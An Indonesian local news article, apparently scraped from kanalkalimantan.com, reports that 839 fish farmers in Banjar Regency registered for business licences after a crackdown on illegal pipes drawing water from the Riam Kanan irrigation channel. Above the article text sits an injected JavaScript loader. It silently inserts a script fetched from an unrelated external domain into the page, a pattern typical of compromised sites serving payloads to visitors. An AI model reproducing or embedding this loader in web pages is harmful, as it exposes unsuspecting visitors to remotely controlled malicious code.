(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Ada sebanyak 839 pembudidaya ikan perorangan di Kabupaten Banjar yang telah mendaftarkan legalisas perizinannya ke Dinas Perikanan Kabupaten Banjar. Hal ini disampaikan Kepala Dinas Perikanan Kabupaten Banjar Riza Dauly, Senin (18/3).
Sebelumnya, Dinas Perikanan Banjar sendiri telah melakukan sosialisasi terkait legalitas usaha budidaya ikan. Dari hasil sosialisasi tersebut, setidaknya diprediksi hanya 600 orang pembudidaya ikan yang menyerahkan formulirnya ke Dinas Perikanan Banjar. “Namun dari pengembalian formulir yang ada kami terima ada 839 orang, ini merupakan respon yang baik dari pembudidayakan di Kabupaten Banjar,” akunya.
Ditambahkan Riza, pada minggu depan pihaknya akan melakukan surey ke kelompok pembudidaya ikan untuk melakukan berbagai kegiatan penyuluhan.
Sementara ketika ditanya terkait ketentuan atau kelengkapan persyaratan yang harus di penuhi oleh para pembudidaya ikan setelah formulir di terima, pihaknya akan melakukan konsoladasi dengan pihak Balai Wilayah Sungai (BWS) melalui Komisi Irigasi Kabupaten Banjar.
“Diharapkan dengan dikeluarkannya perijinanan tersebut, dalam pengairian pihak pembudidaya ikan dapat berjalan lancar, melalui sistem sadap bagi. Namun yang pasti pihak pembudidaya ikan bisa dinyatakan legal dalam menjalankan usahanya,†ujarnya.
Tindakan perizian ini sebelumya berdasarkan Dinas Pekerjaan Umum dan Perumahan Rakyat (PUPR) Kalimantan Selatan bersama Komisi Irigasi Kabupaten Banjar melakukan yang penertiban terhadap 2.004 pipa dan lubang milik pengusaha tambak ikan di sepanjang irigasi Riam Kanan, termasuk milik Pdam Intan Banjar, Selasa (29/1) yang lalu.
Sejumlah pipa milik pengusaha tambak ikan di salah satu titik di saluran irigasi Riam Kanan terlihat semakin tidak terkendali. Keberadaan pipa yang kian menjamur mempengaruhi kuantitas air di dalam irigasi dan kerap dikeluhkan para petani di Kabupaten Banjar.
Dalam rangkaian program itu terdapat pula penertiban pipa dan lubang-lubang akibat kerusakan maupun yang dirusak secara ilegal oleh pengusaha tambak perikanan, karena akan berdampak terhadap usia fisik irigasi. (rendy)
KANALKALIMANTAN.COM, PALANGKARAYA - Garis senyum terpancar dari raut wajah polos anak-anak Panti Asuhan Maria Ines… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua Umum Dewan Pimpinan Pusat (DPP) Ikatan Advokat Indonesia (Ikadin), Dr Adardam… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satu kader Partai Demokrat Andoko Abdi menyerahkan berkas pencalonan Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ketua Badan Pengawas Pemilu (Bawaslu) Hulu Sungai Utara (HSU) Marfa'i melantik dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru resmi melantik 15 anggota Panitia Pengawas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin membentuk tim khusus untuk mengatasi permasalaha… Read More
This website uses cookies.